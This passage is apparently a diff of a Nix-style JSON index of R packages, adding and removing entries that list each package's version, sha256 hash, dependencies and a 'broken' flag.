"glossa": { - "name": "glossa", - "version": "1.0.0", - "sha256": "17b9iir51a9vavd3bpg3448wpcmb9ib2kcf08qa29f68xy8fglgz", - "depends": ["DT", "GeoThinneR", "bs4Dash", "dbarts", "dplyr", "ggplot2", "htmltools", "jsonlite", "leaflet", "markdown", "mcp", "pROC", "sf", "shiny", "shinyWidgets", "sparkline", "svglite", "terra", "tidyterra", "waiter", "zip"], - "broken": true - }, "glottospace": { "name": "glottospace", "version": "0.0.112", @@ -148856,6 +149425,13 @@ "depends": ["assertthat", "cli", "curl", "googleAuthR", "googleCloudStorageR", "googlePubsubR", "httr", "jose", "jsonlite", "openssl", "plumber", "usethis", "withr", "yaml"], "broken": true }, + "googleComputeEngineR": { + "name": "googleComputeEngineR", + "version": "0.3.0", + "sha256": "1s0qvnijzkja645lim373swk815n3s1292q6sk3q36ss70q42cfg", + "depends": ["assertthat", "future", "googleAuthR", "httr", "jsonlite"], + "broken": true + }, "googlePrintr": { "name": "googlePrintr", "version": "0.0.1", @@ -148877,6 +149453,13 @@ "depends": ["cellranger", "dplyr", "httr", "jsonlite", "purrr", "readr", "stringr", "tibble", "tidyr", "xml2"], "broken": true }, + "gorica": { + "name": "gorica", + "version": "0.1.4", + "sha256": "1r8dg9wcqxd53zm27mf0554x2zlsclbfmqqwjbkywa3np6gi358y", + "depends": ["MASS", "bain", "lavaan", "limSolve", "lme4", "mvtnorm", "quadprog"], + "broken": true + }, "gorpiper": { "name": "gorpiper", "version": "1.0.1", @@ -149136,6 +149719,13 @@ "depends": ["dplyr", "jsonlite", "lubridate", "snakecase", "tibble", "tidyr"], "broken": true }, + "haploR": { + "name": "haploR", + "version": "4.0.7", + "sha256": "1s8f556d9x5h76gyl4wggcx01f4qrx0fp5mz46yk2x9qmwiir89v", + "depends": ["DT", "RCurl", "RJSONIO", "RUnit", "XML", "httr", "plyr", "tibble"], + "broken": true + }, "happybiRthday": { "name": "happybiRthday", "version": "0.0.1", @@ -149143,6 +149733,13 @@ "depends": ["data_table", "dplyr", "gh", "lubridate", "tidyr"], "broken": true }, + "hapsim": { + "name": "hapsim", + "version": "0.31", + "sha256": "0jw6iw89d4y8wjy58biv40szp123ql7frz1mmdjdxljmwaby963h", + "depends": ["MASS"], + "broken": true + }, "hasseDiagram": { "name": "hasseDiagram", "version": "0.2.0", @@ -149738,6 +150335,13 @@ "depends": [], "broken": true }, + "idem": { + "name": "idem", + "version": "5.2", + "sha256": "0vgxrw7rdhnxrrsg46x6nd2zx938j1z41fr4gp9pjmh2q6rnnaxl", + "depends": ["BH", "Rcpp", "RcppEigen", "RcppParallel", "StanHeaders", "mice", "rstan", "rstantools", "sqldf", "survival"], + "broken": true + }, "identity": { "name": "identity", "version": "0.2-1", @@ -149829,6 +150433,13 @@ "depends": ["dplyr", "httr", "jsonlite"], "broken": true }, + "immuneSIM": { + "name": "immuneSIM", + "version": "0.8.7", + "sha256": "0brj12xnkzmn3n91vb39fq3q68wmzmwx9l38dl38yypp0l8pknjl", + "depends": ["Biostrings", "Metrics", "RColorBrewer", "data_table", "ggplot2", "ggthemes", "igraph", "plyr", "poweRlaw", "repmis", "reshape2", "stringdist", "stringr"], + "broken": true + }, "imputeMDR": { "name": "imputeMDR", "version": "1.1.2", @@ -149990,6 +150601,13 @@ "depends": ["gtools"], "broken": true }, + "interfr": { + "name": "interfr", + "version": "0.1.0", + "sha256": "1wn7i8dsll1qq3v39hgpbqnkjc8f4wlffy73453rw9lpq61y2fgj", + "depends": ["CircStats", "colorSpec", "plotrix"], + "broken": true + }, "interventionalDBN": { "name": "interventionalDBN", "version": "1.2.2", @@ -150039,6 +150657,13 @@ "depends": ["Biostrings"], "broken": true }, + "ionr": { + "name": "ionr", + "version": "0.3.0", + "sha256": "18rv5n5gihb6pz36s45yj17sdjsbj4485k4lnggdjj1gbbjkz2ni", + "depends": ["gplots", "psych"], + "broken": true + }, "iopspackage": { "name": "iopspackage", "version": "2.1.0", @@ -150102,6 +150727,13 @@ "depends": ["colorDF", "crayon", "dplyr", "glue", "magrittr", "readr", "rlang", "tibble", "tidyr"], "broken": true }, + "iscoCrosswalks": { + "name": "iscoCrosswalks", + "version": "1.0.0", + "sha256": "00pzz0fy0k7zvi5pf389w4g5z96rbc4gzjvhghcmbq71z319wwcn", + "depends": ["Rdpack", "data_table", "labourR"], + "broken": true + }, "isopat": { "name": "isopat", "version": "1.0", @@ -150249,6 +150881,13 @@ "depends": ["dplyr", "ggiraphExtra", "ggplot2", "magick", "magrittr"], "broken": true }, + "jlctree": { + "name": "jlctree", + "version": "0.0.2", + "sha256": "0l8piz0m9iv9lbw35yx1ww0db0pv0qhbvkz4l36fwjsgnjlh8f6a", + "depends": ["lme4", "rpart", "survival"], + "broken": true + }, "jlme": { "name": "jlme", "version": "0.4.1", @@ -150494,6 +151133,13 @@ "depends": ["pdist"], "broken": true }, + "labourR": { + "name": "labourR", + "version": "1.0.0", + "sha256": "0skr8qr1m849l3gpcsn5bjxyjczlzzmsm2j6xcmxv33lf95qg6gi", + "depends": ["cld2", "data_table", "magrittr", "stopwords", "stringdist"], + "broken": true + }, "laercio": { "name": "laercio", "version": "1.0-1", @@ -150522,6 +151168,13 @@ "depends": ["Rcpp", "ggplot2", "raster", "tibble"], "broken": true }, + "lar": { + "name": "lar", + "version": "0.1-2", + "sha256": "0qda0y4ag10kg83wxs3z754kc8c1dg2rwciy64klk7an4ln43i5b", + "depends": ["data_table", "treemap", "xlsx"], + "broken": true + }, "largeList": { "name": "largeList", "version": "0.3.1", @@ -150627,6 +151280,13 @@ "depends": ["R6", "plyr"], "broken": true }, + "leaflet_esri": { + "name": "leaflet.esri", + "version": "1.0.0", + "sha256": "01bwzxh2rdhpvvazaxsji8axl765q1ix1fdxla6i61nvqkpw3dz1", + "depends": ["htmltools", "leaflet", "leaflet_extras"], + "broken": true + }, "leaflet_multiopacity": { "name": "leaflet.multiopacity", "version": "0.1.1", @@ -150725,6 +151385,13 @@ "depends": ["Rcpp", "RcppGSL"], "broken": true }, + "lifelogr": { + "name": "lifelogr", + "version": "0.1.0", + "sha256": "1wygvw61ygpww0kahxhmjdncwg4zc2cshs0brzw18nfqaj8vpfav", + "depends": ["R6", "dplyr", "fitbitScraper", "ggplot2", "lazyeval", "lubridate", "modelr", "plyr", "shiny", "stringr", "tibble", "tidyr"], + "broken": true + }, "lift": { "name": "lift", "version": "0.0.2", @@ -150746,6 +151413,13 @@ "depends": ["DEoptim", "gdata", "ggplot2", "gtools", "rtf"], "broken": true }, + "liminal": { + "name": "liminal", + "version": "0.1.2", + "sha256": "1ka16fm0gzhpydlk5pjf1vjcb7ygx1d3iv4z8cs6ywzrq4bb5r61", + "depends": ["dplyr", "jsonlite", "matrixStats", "miniUI", "rlang", "shiny", "tourr", "vegawidget"], + "broken": true + }, "limitplot": { "name": "limitplot", "version": "1.2", @@ -150879,6 +151553,13 @@ "depends": [], "broken": true }, + "locpolExpectile": { + "name": "locpolExpectile", + "version": "0.1.1", + "sha256": "1phwcnbk1vmdk3qmfx2nd6crplly2lb8gb57yl67ky3c4sryh358", + "depends": ["expectreg", "lestat", "locpol", "matrixcalc", "quantreg"], + "broken": true + }, "loe": { "name": "loe", "version": "1.1", @@ -150956,6 +151637,13 @@ "depends": ["MASS", "psych"], "broken": true }, + "lsbclust": { + "name": "lsbclust", + "version": "1.1", + "sha256": "1pbai58pfvhfcrd0nj13d54vrn9wrx2xapqhgqa1pkrjwbk5amj7", + "depends": ["Rcpp", "clue", "doParallel", "foreach", "ggplot2", "gridExtra", "mvtnorm", "plyr", "reshape2"], + "broken": true + }, "lsdv": { "name": "lsdv", "version": "1.1", @@ -150991,6 +151679,13 @@ "depends": ["MASS", "robustbase"], "broken": true }, + "luca": { + "name": "luca", + "version": "1.0-6", + "sha256": "0zrxrwpk7iblpysd4fbh50s5bmvd5l1bzbd8rdyk06wby6bcs1rk", + "depends": ["genetics", "survival"], + "broken": true + }, "lvec": { "name": "lvec", "version": "0.2.5", @@ -151019,6 +151714,20 @@ "depends": ["corpcor", "expm", "MASS"], "broken": true }, + "m2b": { + "name": "m2b", + "version": "1.0", + "sha256": "0agzw67mmwrw1f61yn24z5w1pgjssdapg3li0a53i3ylnij45mzr", + "depends": ["caTools", "caret", "e1071", "geosphere", "ggplot2", "randomForest"], + "broken": true + }, + "m5": { + "name": "m5", + "version": "0.1.1", + "sha256": "0cw9b31j564qc5s1b37r1p425p4gndlzgwy34cn0m2c65jwiyf6h", + "depends": ["data_table", "lubridate", "stringi"], + "broken": true + }, "mGSZ": { "name": "mGSZ", "version": "1.0", @@ -151082,6 +151791,13 @@ "depends": ["tibble"], "broken": true }, + "manhattanly": { + "name": "manhattanly", + "version": "0.3.0", + "sha256": "007qvfzq8fyvnirywfpl6n1gqxxizz32z4xbgnnx7riyb7nxl1qh", + "depends": ["ggplot2", "magrittr", "plotly"], + "broken": true + }, "mapReasy": { "name": "mapReasy", "version": "1.0", @@ -151320,6 +152036,13 @@ "depends": ["emdist", "ggplot2", "gridExtra", "gtools", "lattice", "plyr", "Rcpp", "reshape2"], "broken": true }, + "medicalrisk": { + "name": "medicalrisk", + "version": "1.3", + "sha256": "12p3mjy6lphjajxz7is04cahp0598ip9ixfkdimvw1k8n5hs9mj0", + "depends": ["hash", "plyr", "reshape2"], + "broken": true + }, "meditate": { "name": "meditate", "version": "0.1.3", @@ -151334,6 +152057,20 @@ "depends": ["ggplot2", "jmvcore", "lavaan", "R6"], "broken": true }, + "medrxivr": { + "name": "medrxivr", + "version": "0.1.1", + "sha256": "03p5rz6a362wvlcaq2khzyhjivvw62i50846db8p6rj9rwqba228", + "depends": ["bib2df", "curl", "data_table", "dplyr", "httr", "jsonlite", "lubridate", "progress", "purrr", "rlang", "stringr", "tibble"], + "broken": true + }, + "mefdind": { + "name": "mefdind", + "version": "0.1", + "sha256": "1w52c5bq0jy38d8lkf9dglw3nr3c8dqvhdk4mmhc3q8r5x3a8cz0", + "depends": ["rvest", "stringr"], + "broken": true + }, "merlin": { "name": "merlin", "version": "0.1.0", @@ -151460,6 +152197,13 @@ "depends": ["crayon", "fmsb", "future", "future_apply", "ggplot2", "ggside", "progressr", "reshape2", "stringr"], "broken": true }, + "microclass": { + "name": "microclass", + "version": "1.2", + "sha256": "0q6mn1hbi6nk29x2x5a1wcdqp06mjggbrpglk5i8pp4gkqlzhl8q", + "depends": ["Rcpp", "RcppEigen", "RcppParallel", "dplyr", "microcontax", "microseq", "rlang", "stringr", "tibble"], + "broken": true + }, "microclustr": { "name": "microclustr", "version": "0.1.0", @@ -151467,6 +152211,13 @@ "depends": ["Rcpp"], "broken": true }, + "microcontax": { + "name": "microcontax", + "version": "1.2", + "sha256": "004g979hyg0asbah7hxr445fidil4ibw1b8pqpjdbgmpm1qgvw7y", + "depends": ["microseq"], + "broken": true + }, "microdemic": { "name": "microdemic", "version": "0.6.0", @@ -151558,6 +152309,13 @@ "depends": [], "broken": true }, + "miscset": { + "name": "miscset", + "version": "1.1.0", + "sha256": "1gwi7jnqdf2fa8yk8gmcc7dcv72bbdl7yj3yccj3r5jjk41vdp91", + "depends": ["Rcpp", "data_table", "devtools", "ggplot2", "gridExtra", "xtable"], + "broken": true + }, "mise": { "name": "mise", "version": "0.1.0", @@ -151873,6 +152631,13 @@ "depends": ["minpack_lm"], "broken": true }, + "mosaicModel": { + "name": "mosaicModel", + "version": "0.3.0", + "sha256": "1gx4rzh0h922gyb50vz6q5vqqp5ry5hf2mq95948q2gcady91k5w", + "depends": ["MASS", "caret", "dplyr", "ggformula", "ggplot2", "knitr", "lazyeval", "mosaicCore", "testthat", "tibble", "tidyr", "tidyverse"], + "broken": true + }, "mosmafs": { "name": "mosmafs", "version": "0.1.2-1", @@ -151971,6 +152736,13 @@ "depends": ["data_table", "geojson", "geojsonio", "geojsonsf", "httr", "jsonlite", "rappdirs", "sf", "sp", "tibble", "xml2"], "broken": true }, + "mrf": { + "name": "mrf", + "version": "0.1.6", + "sha256": "0jqpx0ng0l8f7y941awpi82yqbv8ir0sixiw6zdkqpj82d9a7j9m", + "depends": ["DEoptim", "forecast", "limSolve", "monmlp", "nnfor"], + "broken": true + }, "ms_sev": { "name": "ms.sev", "version": "1.0.4", @@ -151992,6 +152764,13 @@ "depends": ["class", "graph", "lattice"], "broken": true }, + "msaFACE": { + "name": "msaFACE", + "version": "0.1.0", + "sha256": "1lh8crz507nlddm946lmn73xbnsh4cs0kg238ysnsvxs726c83fs", + "depends": [], + "broken": true + }, "msaeDB": { "name": "msaeDB", "version": "0.2.1", @@ -152202,6 +152981,13 @@ "depends": ["lme4", "Matrix", "Rcpp", "RcppEigen", "stringr", "TMB"], "broken": true }, + "musica": { + "name": "musica", + "version": "0.1.3", + "sha256": "0cfzfar706l0xdb0n11m18mayj5rrplvf4qry36vgxsiaxcba90r", + "depends": ["data_table", "lubridate", "magrittr", "qmap"], + "broken": true + }, "mustashe": { "name": "mustashe", "version": "0.1.4", @@ -152335,6 +153121,13 @@ "depends": ["distrEx", "rgl"], "broken": true }, + "natstrat": { + "name": "natstrat", + "version": "2.0.0", + "sha256": "1i3qjd787clbafpkjd0mkp6i540061q9xl9kxlgh9f517ksg8zpz", + "depends": ["Rglpk", "caret", "ggplot2", "plyr", "pps", "ramify", "rlang", "sampling", "slam"], + "broken": true + }, "nbfar": { "name": "nbfar", "version": "0.1", @@ -152398,6 +153191,13 @@ "depends": ["analogue", "dplyr", "httr", "jsonlite", "leaflet", "plyr", "reshape2", "xml2"], "broken": true }, + "neotoma2": { + "name": "neotoma2", + "version": "1.0.5", + "sha256": "13l41cypjpiqdkpkdwz7z39iiza2z6jcxj4sgm85713m7ws9dyak", + "depends": ["assertthat", "dplyr", "geojsonsf", "gtools", "httr", "jsonlite", "leaflet", "lubridate", "magrittr", "progress", "purrr", "rlang", "sf", "stringr", "tidyr", "uuid", "wk"], + "broken": true + }, "nestedmodels": { "name": "nestedmodels", "version": "1.1.0", @@ -152475,6 +153275,13 @@ "depends": ["fslr", "knitr", "oro_nifti"], "broken": true }, + "neverhpfilter": { + "name": "neverhpfilter", + "version": "0.4-0", + "sha256": "097nfz30pf4bd95l943ccsvndni0n8c6gpcdk5dv02802mcg0h81", + "depends": ["xts", "zoo"], + "broken": true + }, "nhlscrape": { "name": "nhlscrape", "version": "0.1.3", @@ -152832,6 +153639,13 @@ "depends": ["doParallel", "foreach", "forecast", "MASS", "Rcpp", "RcppArmadillo"], "broken": true }, + "oglmx": { + "name": "oglmx", + "version": "3.0.0.0", + "sha256": "13axmhbqhv4kkcdsdmp9r7p0d0kyqlsaqgyyllbkxlxb4hfz79b6", + "depends": ["maxLik"], + "broken": true + }, "ohtadstats": { "name": "ohtadstats", "version": "2.1.1", @@ -152860,6 +153674,13 @@ "depends": [], "broken": true }, + "omics": { + "name": "omics", + "version": "0.1-5", + "sha256": "1y2x33mfgq98nglhvpr1wq1v6nfiq4njy2yac47x72rpwxsj9vb1", + "depends": ["lme4", "pheatmap"], + "broken": true + }, "omopr": { "name": "omopr", "version": "0.2", @@ -152881,13 +153702,6 @@ "depends": ["Matrix", "Rcpp", "Rhdf5lib", "crayon", "data_table", "dplyr", "magrittr", "readr", "rhdf5"], "broken": true }, - "onemapsgapi": { - "name": "onemapsgapi", - "version": "1.1.0", - "sha256": "0q1i17dkgcxqswa9wckxzsf1wr118zsw7yhbrbkbikvm27hqrrva", - "depends": ["dplyr", "furrr", "future", "httr", "purrr", "rlang", "stringr", "tidyr"], - "broken": true - }, "onepass": { "name": "onepass", "version": "0.1.2", @@ -153126,6 +153940,13 @@ "depends": ["abc", "adephylo", "ape", "coda", "EasyABC", "geiger", "maps", "MCMCpack", "nlme", "phytools", "Sim_DiffProc", "TreeSim"], "broken": true }, + "overture": { + "name": "overture", + "version": "0.4-0", + "sha256": "1s16x5kn0apb0w1f7hqzcsqvw3x621y5n6yr1qn7yb7431pdw3cz", + "depends": ["bigmemory"], + "broken": true + }, "oxcgrt": { "name": "oxcgrt", "version": "0.1.0", @@ -153252,6 +154073,13 @@ "depends": ["ade4", "FactoClass", "xtable"], "broken": true }, + "pampe": { + "name": "pampe", + "version": "1.1.2", + "sha256": "092n04nrp886kd163v32f5vhp9r7gnayxzqb6pj57ilm5w1yrcsk", + "depends": ["leaps"], + "broken": true + }, "panelAR": { "name": "panelAR", "version": "0.1", @@ -153259,6 +154087,13 @@ "depends": ["car"], "broken": true }, + "panelaggregation": { + "name": "panelaggregation", + "version": "0.1.1", + "sha256": "0x8ldqb9216pclfvs4ymdpian43v2ydkyflpf0k6lcn35r04xfr6", + "depends": ["data_table"], + "broken": true + }, "papayar": { "name": "papayar", "version": "1.0", @@ -153266,6 +154101,13 @@ "depends": ["htmltools", "neurobase", "oro_nifti", "servr"], "broken": true }, + "papci": { + "name": "papci", + "version": "0.1.0", + "sha256": "0ma1pfwgmj6qcg23yzhbnqip4qnxhsmfnvrgrr3ln65q5plmvh58", + "depends": ["DT", "Hmisc", "PropCIs", "binom", "dplyr", "ratesci", "readxl", "shiny", "shinythemes", "tidyverse"], + "broken": true + }, "parallelML": { "name": "parallelML", "version": "1.2", @@ -153427,6 +154269,13 @@ "depends": ["FactoMineR", "RColorBrewer"], "broken": true }, + "pcdpca": { + "name": "pcdpca", + "version": "0.4", + "sha256": "0ys4hrin0w3f87d1d986wvrfkfwapzj9hz7d7v92r60ns74g7r5m", + "depends": ["fda", "freqdom"], + "broken": true + }, "pco": { "name": "pco", "version": "1.0.1", @@ -153441,6 +154290,13 @@ "depends": ["doParallel", "foreach", "ggplot2", "pec", "PermAlgo", "prodlim", "Rcpp", "RcppArmadillo", "riskRegression", "survival"], "broken": true }, + "pdmod": { + "name": "pdmod", + "version": "1.0.1", + "sha256": "04bk9gjg2c55hk6k1hy0m29927s8a5ig6mr4xb89npam68g0pcms", + "depends": ["mco"], + "broken": true + }, "pds3": { "name": "pds3", "version": "0.5.0", @@ -153469,6 +154325,13 @@ "depends": ["alabama", "BH", "psqn", "Rcpp", "RcppArmadillo", "testthat"], "broken": true }, + "pems_utils": { + "name": "pems.utils", + "version": "0.3.0.7", + "sha256": "0r6s0y67i5s6ld32l4bylgw7bp7akgizlq1jcf2ik69hy9cwsd83", + "depends": ["baseline", "dplyr", "ggplot2", "lattice", "loa", "rlang", "tibble"], + "broken": true + }, "penDvine": { "name": "penDvine", "version": "0.2.4", @@ -153532,6 +154395,13 @@ "depends": ["Biobase", "foreach", "RUnit", "survival"], "broken": true }, + "permGS": { + "name": "permGS", + "version": "0.2.5", + "sha256": "0d2kp3c1fmnjjmsvc2qwh6m66yqvy2vrrxgv1fj2i4clsbavfa0y", + "depends": ["coin", "survival"], + "broken": true + }, "persiandictionary": { "name": "persiandictionary", "version": "1.0", @@ -153546,6 +154416,13 @@ "depends": ["grImport"], "broken": true }, + "petitr": { + "name": "petitr", + "version": "1.0", + "sha256": "0i13zhdrdka0ij0khdzj6ylvvcn4wxvplb8a368i1s64cpgak30c", + "depends": [], + "broken": true + }, "pfa": { "name": "pfa", "version": "1.1", @@ -153609,6 +154486,13 @@ "depends": ["ape"], "broken": true }, + "phylotools": { + "name": "phylotools", + "version": "0.2.2", + "sha256": "1dhk1ncp5zi4zl1xfnjz64v983dm7bq7iimfjin80j0bdcpps44w", + "depends": ["ape"], + "broken": true + }, "physiology": { "name": "physiology", "version": "1.2.1", @@ -153735,6 +154619,13 @@ "depends": ["ggplot2", "minpack_lm", "plantecophys", "tidyr"], "broken": true }, + "plasso": { + "name": "plasso", + "version": "0.1.2", + "sha256": "09pc210wb98xnhm9wxsqvf217gysj9c2piwwhzxdp3lxb3my533x", + "depends": ["Matrix", "doParallel", "foreach", "glmnet", "iterators"], + "broken": true + }, "plmm": { "name": "plmm", "version": "0.1-1", @@ -153777,6 +154668,13 @@ "depends": ["boot", "ggplot2", "reshape2", "shiny"], "broken": true }, + "pltesim": { + "name": "pltesim", + "version": "1.0", + "sha256": "0mvqp8di2gwhd9wc9kvnnpxd3hkr9b9lj6g5qlkqcbrgkq6fjahs", + "depends": ["coreSim", "ggplot2"], + "broken": true + }, "pluralize": { "name": "pluralize", "version": "0.2.0", @@ -153910,6 +154808,13 @@ "depends": ["matrixcalc"], "broken": true }, + "pooling": { + "name": "pooling", + "version": "1.1.2", + "sha256": "19mrzax3k35fhgjpnlrigf0nscsdl3xb7k82s5q472k4bcz7ya5b", + "depends": ["cubature", "data_table", "dplyr", "dvmisc", "ggplot2", "ggrepel", "mvtnorm", "numDeriv"], + "broken": true + }, "popKorn": { "name": "popKorn", "version": "0.3-0", @@ -153945,6 +154850,13 @@ "depends": ["DBI", "jsonlite", "rgdal", "rgeos", "RPostgreSQL", "sp", "stringr"], "broken": true }, + "posterdown": { + "name": "posterdown", + "version": "1.0", + "sha256": "13plrrnylw3yldm0md1gr5drccfjk9f2wwlhz6lrmb3px7w5nqs0", + "depends": ["pagedown", "rmarkdown", "yaml"], + "broken": true + }, "povcalnetR": { "name": "povcalnetR", "version": "0.1.1", @@ -153952,6 +154864,13 @@ "depends": ["dplyr", "httr", "js", "jsonlite", "memoise", "naniar", "purrr", "readr", "stringr", "tibble", "tidyr"], "broken": true }, + "powdR": { + "name": "powdR", + "version": "1.3.0", + "sha256": "1bkx43xd46gzgiphknqyz2nyvviia0xkn4h8z4k2dwcfq92iwsbw", + "depends": ["DT", "FactoMineR", "baseline", "factoextra", "ggplot2", "ggpubr", "nnls", "plotly", "plyr", "reshape", "rxylib", "shiny", "shinyWidgets", "tidyr"], + "broken": true + }, "powerAnalysis": { "name": "powerAnalysis", "version": "0.2.1", @@ -153980,6 +154899,13 @@ "depends": ["curl", "jsonlite", "tfse", "tibble"], "broken": true }, + "pqantimalarials": { + "name": "pqantimalarials", + "version": "0.2", + "sha256": "0azxkf1rvk9cyzr4gbp4y2vcxrxw3d4f002d5gjkvv1f4kx8faw1", + "depends": ["RColorBrewer", "plyr", "reshape2", "shiny"], + "broken": true + }, "prLogistic": { "name": "prLogistic", "version": "1.2", @@ -154001,13 +154927,6 @@ "depends": [], "broken": true }, - "predictoR": { - "name": "predictoR", - "version": "4.1.1", - "sha256": "1x7sg15pwsgb5x0my8farhav0gmm8p7sz5d926wv6las7h85asxf", - "depends": ["DT", "colourpicker", "config", "dplyr", "echarts4r", "glmnet", "golem", "htmltools", "loadeR", "rlang", "rpart_plot", "shiny", "shinyAce", "shinycustomloader", "shinydashboard", "shinydashboardPlus", "shinyjs", "traineR", "xgboost"], - "broken": true - }, "predkmeans": { "name": "predkmeans", "version": "0.1.1", @@ -154106,13 +155025,6 @@ "depends": ["survival"], "broken": true }, - "propagate": { - "name": "propagate", - "version": "1.0-6", - "sha256": "17jinz1jramlsf87i7vyn2qp82rc1dacljfaxxplrk3crhw3bhs7", - "depends": ["MASS", "Rcpp", "ff", "minpack_lm", "tmvtnorm"], - "broken": true - }, "proportion": { "name": "proportion", "version": "2.0.0", @@ -154316,13 +155228,6 @@ "depends": ["lubridate", "rhli", "tibble"], "broken": true }, - "qpcR": { - "name": "qpcR", - "version": "1.4-1", - "sha256": "1r01q7jv3w59yx1gc0qw91rq7rvdhqsi8y57sqqkmwyqfw2x2vsv", - "depends": ["MASS", "Matrix", "minpack_lm", "rgl", "robustbase"], - "broken": true - }, "qqr": { "name": "qqr", "version": "0.0.1", @@ -154428,6 +155333,13 @@ "depends": ["assertthat", "dplyr", "httr", "tibble", "xml2"], "broken": true }, + "r6extended": { + "name": "r6extended", + "version": "0.1.2", + "sha256": "1kq1j5rx57053mslj8jx1s0wjvhis7x3y264zw44q4k2x48q9wxs", + "depends": ["R6", "digest", "hellno", "magrittr"], + "broken": true + }, "rAltmetric": { "name": "rAltmetric", "version": "0.7.0", @@ -154589,6 +155501,13 @@ "depends": ["knitr", "nnls"], "broken": true }, + "rNOMADS": { + "name": "rNOMADS", + "version": "2.5.3", + "sha256": "196iwdwin73kva9jrjjzx9kgl91h7a3d04p9i3r1rzp3v9xj4gpp", + "depends": ["GEOmap", "MBA", "XML", "fields", "httr", "rvest", "stringr", "uuid"], + "broken": true + }, "rRAP": { "name": "rRAP", "version": "1.1", @@ -154666,6 +155585,20 @@ "depends": ["abind", "Biobase", "CGHbase", "expm", "fdrtool", "igraph", "MASS", "Matrix", "mvtnorm", "rags2ridges", "Rcpp", "RcppArmadillo"], "broken": true }, + "ragtop": { + "name": "ragtop", + "version": "1.1.1", + "sha256": "0vgc2q71g8ysccq19kbk9a4swxgd5qj91xm4bshfgdg5chxqnb50", + "depends": ["futile_logger", "limSolve"], + "broken": true + }, + "ramlegacy": { + "name": "ramlegacy", + "version": "0.2.0", + "sha256": "0q8qks8qapar12dzlkxlbvw4rj7qxmfw64cph834ckm4z7sis873", + "depends": ["cli", "crayon", "httr", "rappdirs", "readxl"], + "broken": true + }, "randNames": { "name": "randNames", "version": "0.2.3", @@ -154729,6 +155662,13 @@ "depends": ["MASS", "nlme", "survey"], "broken": true }, + "rasclass": { + "name": "rasclass", + "version": "0.2.2", + "sha256": "1lsmv8kh519mz3szb4k9s17fz1480cw0i4qk12givhhm2rpzjy50", + "depends": ["RSNNS", "car", "e1071", "nnet", "randomForest"], + "broken": true + }, "rasterly": { "name": "rasterly", "version": "0.2.0", @@ -154932,6 +155872,13 @@ "depends": [], "broken": true }, + "rdfp": { + "name": "rdfp", + "version": "0.1.4", + "sha256": "1490227hhfjjscfmd8p897v1ijs61pk5sc0a2vr9yjnfmsnxpqrl", + "depends": ["XML", "curl", "data_table", "dplyr", "httr", "lubridate", "plyr", "purrr", "readr", "xml2"], + "broken": true + }, "rdoc": { "name": "rdoc", "version": "0.1.0", @@ -155072,13 +156019,6 @@ "depends": ["denpro"], "broken": true }, - "regressoR": { - "name": "regressoR", - "version": "4.0.3", - "sha256": "06azxr11pb779nkabrklxpjndvjvjbpidm5gjfq7m4iqfd7kw95c", - "depends": ["DT", "dplyr", "echarts4r", "gbm", "glmnet", "golem", "htmltools", "loadeR", "pls", "psych", "rlang", "rpart_plot", "shiny", "shinyAce", "shinycustomloader", "shinydashboard", "shinydashboardPlus", "shinyjs", "traineR"], - "broken": true - }, "regweight": { "name": "regweight", "version": "1.0.2", @@ -155184,6 +156124,13 @@ "depends": ["dplyr", "ggplot2", "magrittr", "Rcpp", "rlang"], "broken": true }, + "reutils": { + "name": "reutils", + "version": "0.2.3", + "sha256": "09dhf4s7wz3anrkzqi16abx64gk8ck2142kfd8pv71mjy3x548l7", + "depends": ["RCurl", "XML", "assertthat", "jsonlite", "tibble"], + "broken": true + }, "revgeo": { "name": "revgeo", "version": "0.15", @@ -155205,13 +156152,6 @@ "depends": ["brio", "callr", "cli", "desc", "dplyr", "glue", "jsonlite", "pkgbuild", "processx", "purrr", "rlang", "rprojroot", "stringi", "tibble", "vctrs", "withr"], "broken": true }, - "rfPermute": { - "name": "rfPermute", - "version": "2.5.4", - "sha256": "1j2jaia1prhpqkp02p8l4cpdnnyk6fkcjysx93v4kh99wnp6n0nl", - "depends": ["abind", "dplyr", "ggplot2", "gridExtra", "magrittr", "randomForest", "rlang", "scales", "swfscMisc", "tibble", "tidyr"], - "broken": true - }, "rfUtilities": { "name": "rfUtilities", "version": "2.1-5", @@ -155226,6 +156166,13 @@ "depends": ["cli", "curl", "data_table", "dplyr", "glue", "httr", "janitor", "lubridate", "magrittr", "PerformanceAnalytics", "readr", "rvest", "stringr", "tibble", "TTR", "xml2", "xts"], "broken": true }, + "rfishdraw": { + "name": "rfishdraw", + "version": "0.1.0", + "sha256": "0204s8jy6shr694hacrq4j0lia9l59rk8kc75sdw87c09q7kjld2", + "depends": ["ggplot2", "jsonlite"], + "broken": true + }, "rflashtext": { "name": "rflashtext", "version": "1.0.0", @@ -155289,11 +156236,11 @@ "depends": ["rgl"], "broken": true }, - "rgnoisefilt": { - "name": "rgnoisefilt", - "version": "1.1.2", - "sha256": "0rdjbxws1bimpnwfv46yycafvwjc2lcqgdf993f5mm2sg2fxv2da", - "depends": ["FNN", "arules", "class", "e1071", "entropy", "gbm", "ggplot2", "infotheo", "kknn", "modelr", "nnet", "randomForest", "rpart"], + "rgoogleslides": { + "name": "rgoogleslides", + "version": "0.3.2", + "sha256": "0h9gws1vcf0zdd21d8b65c2yz9kxppp3218h5lhd5iz879ajwa2i", + "depends": ["R6", "assertthat", "httr", "jsonlite"], "broken": true }, "rgovcan": { @@ -155485,13 +156432,6 @@ "depends": ["BH", "Rcpp", "RcppArmadillo"], "broken": true }, - "rminer": { - "name": "rminer", - "version": "1.4.8", - "sha256": "1z2nfnsj8k066amawnydhhmjzhni4w6hjw7xzhvikfdwzxhq2kjx", - "depends": ["Cubist", "MASS", "adabag", "e1071", "glmnet", "kernlab", "kknn", "lattice", "mda", "nnet", "party", "plotrix", "pls", "randomForest", "rpart", "xgboost"], - "broken": true - }, "rmonad": { "name": "rmonad", "version": "0.7.0", @@ -155569,11 +156509,11 @@ "depends": ["MCMCpack", "coda", "lattice", "mvtnorm", "pscl"], "broken": true }, - "rock": { - "name": "rock", - "version": "0.8.1", - "sha256": "04byjz2k1wnjxbj22b307ghdrp7zz2ik5cxkxa0v980isfq5dv9i", - "depends": ["DiagrammeR", "DiagrammeRsvg", "data_tree", "dplyr", "ggplot2", "glue", "htmltools", "markdown", "purrr", "yaml", "yum"], + "robustsur": { + "name": "robustsur", + "version": "0.0-7", + "sha256": "0j3hqg0n5alckibzclks70a4xdhcwq4xm2a3z5w4dsvlzqgpnjl3", + "depends": ["GSE", "Matrix", "robreg3S", "robustbase"], "broken": true }, "roistats": { @@ -155814,6 +156754,20 @@ "depends": ["bit64", "curl", "httr", "httr2", "jsonlite", "lifecycle", "progress", "rlang", "tibble", "withr"], "broken": true }, + "rucm": { + "name": 